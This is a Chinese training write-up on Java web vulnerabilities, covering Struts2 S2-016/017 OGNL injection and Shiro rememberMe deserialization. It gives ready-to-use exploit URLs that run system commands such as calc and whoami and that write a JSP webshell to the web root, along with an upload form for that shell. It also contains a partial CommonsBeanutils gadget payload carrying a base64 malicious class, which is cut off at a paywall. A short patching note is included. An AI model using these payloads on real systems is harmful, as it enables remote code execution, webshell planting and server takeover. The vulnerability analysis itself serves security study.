白帽子修炼漏洞进阶篇
- Java













- java 反序列化






























































Struts2 s2-016/017漏洞
DefaultActionMapper类
支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,
但是这些前缀后面同时可以跟OGNL表达式,
由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
将“redirect:”前缀后面的内容设置到redirect.location当中,
getMapping函数跟入

这里一直到这个handleSpecialParameters(),继续跟入:


这里真正传入OGNL表达式是在这个parameterAction.execute()中,
继续跟入来到DefaultActionMapper.java的代码。

这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式,
struts2会调用setLocation方法将他设置到redirect.location中。
然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里,
如图所示:

然而上面的过程只是传递OGNL表达式,真正执行是在后面,
这里是在FilterDispatcher类中的dispatcher.serviceAction()方法,
这里的mapping对象中设置了传入的OGNL。

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。

我们构造一个调用本地计算器的PoC:
http://10.1.1.4:8080/trainin/EN_index.action?
redirect:$
{
%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{
'calc'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew%20java.io.InputStreamReader(%23b),
%23d%3dnew%20java.io.BufferedReader(%23c),
%23e%3dnew%20char[50000],
%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter()}
在浏览器中输入上述URL,漏洞重现:


判断一个使用了struts2框架的网站是否存在漏洞
任务描述:依据上述漏洞分析及给出的poc,并参照官方文档
http://struts.apache.org/release/2.3.x/docs/s2-017.html
http://struts.apache.org/release/2.3.x/docs/s2-016.html
提示一:
官方的poc:
http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/
http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23
请输入你所构造的POC:
http://10.1.1.145/struts2/training/EN_index.action?redirect:http://www.baidu.com
(redirect:后面的网址可以任意替换)
提示二:
ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。
拿到一个HttpServletResponse响应对象后就可以调用getWriter方法
(返回的是PrintWriter)让Servlet容器上输出[/ok]了,
而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出[/ok]。

请输入你所构造的POC:
http://10.1.1.145/struts2/training/EN_index.action?
redirect:$
{
%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
%23w.println('[/ok]'),%23w.flush(),%23w.close()}
([/ok]可以为任意内容,能输出即可)
提示三:
延迟判断:先让线程sleep一段时间,再去计算时间差来判断漏洞是否存在。
构造的POC #_memberaccess
http://10.1.1.145/struts2/training/EN_index.action?redirect:${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}.action
(依据是否使用了sleep方法来评判)
----
在存在漏洞的网站上执行系统命令
任务描述:依据漏洞分析及给出的poc构造一个能执行系统命令的POC。
提示:在漏洞分析给出的POC 基础上改动某个部分即可,请仔细思考。

请输入你所构造的POC:
```powershell
http://10.1.1.145/struts2/download/EN_productdownload.action?
redirect:$
{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew%20java.io.InputStreamReader(%23b),
%23d%3dnew%20java.io.BufferedReader(%23c),
%23e%3dnew%20char[50000],%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter().println(%23e),
%23matt.getWriter().flush(),%23matt.getWriter().close()}
('netstat','-an'这里可以为其他系统命令)


依据漏洞分析及给出的poc构造一个GETSHELL POC
提示:文件写入
请输入你所构造的POC:
http://10.1.1.145/struts2/download/EN_productdownload.action?redirect:$
{
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p))
.append(%23req.getParameter(%22c%22))
.close()}&c=%3c%25if(request
.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application
.getRealPath(%22%2f%22)%2brequest
.getParameter(%22f%22)))
.write(request.getParameter(%22t%22).getBytes())%3b%25%3e

在网站根目录下写入一句话css3.jsp
将以下代码保存为html,提交code后获得shell

<form action="http://10.1.1.59/struts2/css3.jsp?f=css1.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>code</textarea><BR><center><br>
<input type=submit value="提交">
</form>
Shell地址:
http://10.1.1.145/struts2/css1.jsp

依据你对漏洞的分析,对该网站进行加固并验证漏洞是否再现
加固:
更新最新Struts2 lib包即可
更新文件清单:Commons-* 、Stuts2-* 、 Xwork-core-* 、Ognl-*
加固后的验证结果:
使用之前漏洞判断的POC验证即可。
struts2 拿 webshell



REST插件反序列化漏洞(CVE-2017-5638)

开发知识点-JAVA-springboot+Spring Security/Shiro
Java 中 RMI、JNDI、LADP、JRMP、JMX、JMS
原理
Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。
shiro在用户登录时除了账号密码外还提供了可传递选项remember me 记住密码的功能。
用户在登录时如果勾选了remember me选项,
生成经过加密并编码的 cookie。
那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列 化RCE漏洞
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie 值
1.数据返回包中包含rememberMe=deleteMe字段。
2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。
shiro-550:
shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,
只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。
另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。
攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。
Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。
shiro-721:
Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,
利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
Shiro反序列化
https://mp.weixin.qq.com/s/r6_77jiWbk5TAQpz9aGyjA
https://xz.aliyun.com/t/12207#toc-15
https://xz.aliyun.com/t/9409
https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/
https://blog.csdn.net/u011240877/article/details/54604212
https://xz.aliyun.com/t/12692
shiro 无赖链利用
Shiro是一个强大且易于使用的开源Java安全框架,用于身份验证、授权和会话管理等安全领域的功能。它提供了一套简单而灵活的API和插件体系结构,方便开发者在应用程序中添加身份验证和授权功能。
Shiro的主要特点和功能包括:
1. 认证:Shiro提供了灵活的身份验证功能,支持用户名/密码认证、基于角色的认证、基于资源的认证以及自定义认证机制。开发者可以根据具体需求选择合适的认证方法,并进行个性化配置。
2. 授权:Shiro提供了细粒度的授权功能,支持基于角色的授权、基于资源的授权以及自定义授权方式。开发者可以通过简单的注解或编程方式为应用程序中的方法和URL设置访问权限。
3. 会话管理:Shiro提供了可靠的会话管理功能,支持将会话数据存储在内存、数据库或分布式缓存中。它还支持单点登录和集群环境下的会话共享,保证了用户在多个应用中的无缝访问体验。
4. 密码加密:Shiro提供了密码加密功能,可以将用户密码进行加密存储,提高系统的安全性。它支持多种哈希算法和加密策略,如MD5、SHA、AES等。
5. 第三方集成:Shiro易于与其他框架和技术进行集成,如Spring、Spring Boot、Apache Struts和Java EE等。这使得开发者可以方便地将Shiro集成到现有的应用程序中,而无需重写现有代码。
Shiro是一个开源项目,源代码托管在Apache Software Foundation(ASF)的仓库中,并采用Apache License 2.0开源许可证。这意味着任何人都可以自由获取、使用、修改和分发Shiro的源代码。虽然Shiro并非来自中国,但它是一个全球范围内广泛使用的安全框架,并得到了全球开发者社区的贡献和支持。
https://mp.weixin.qq.com/s/Q1iJthr6Pdljr3yXoTN-Cg
JAVA攻防基础之Shiro漏洞分析与利用
shiro是存在commons-beanutils的依赖的,
可以通过构造原生的CB1的链进行攻击shiro,
但是我们通过ysoserial的CB1的链会发现其实并不会成功。
`

因为CB1的链里面其实是依赖于commons.collections包里面的部分内容的。
我们构造BeanComparator的时候会调用,
当没有显式传入Comparator 的情况下,
则默认使用ComparableComparator

解决办法
那么我们如何避免如上情况呢,
就需要找一个ComparableComparator的替代品。
这个替代品需要满足如下几个情况:
实现java.util.Comparator 接口
实现java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强
通过对实现Serializable接口的类以及实现Comparator接口的类的对比,师傅们发现如下类:
CaseInsensitiveComparator
java.util.Collections$ReverseComparator
1.CaseInsensitiveComparator
CaseInsensitiveComparator这个类是java.lang.String 类下的一个内部私有类,
实现了Comparator以及Serializable接口,并且可以通过String的内部的CASE_INSENSITIVE_ORDER值即可获取到

2.java.util.Collections$ReverseComparator
这个类也是jdk原生的Collections类里面的内部类,
他同样实现了Comparator以及Serializable接口,并且可以通过Collections的reverseOrder()静态方法获取到。

改造payload
通过如上我们的分析之后,我们知道只需要避开 ComparableComparator这个类,
用我们找到的替代类来构造BeanComparator的时候就可以了。
1.首先创建恶意的TemplateImpl:
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl

本文详细介绍了Java Web中常见的反序列化漏洞,包括Struts2和FastJson的利用方法,如CommonsCollections链、FastJson的各种绕过策略,并提供了漏洞修复建议,帮助提升应用安全性。
最低0.47元/天 解锁文章
760

被折叠的 条评论
为什么被折叠?



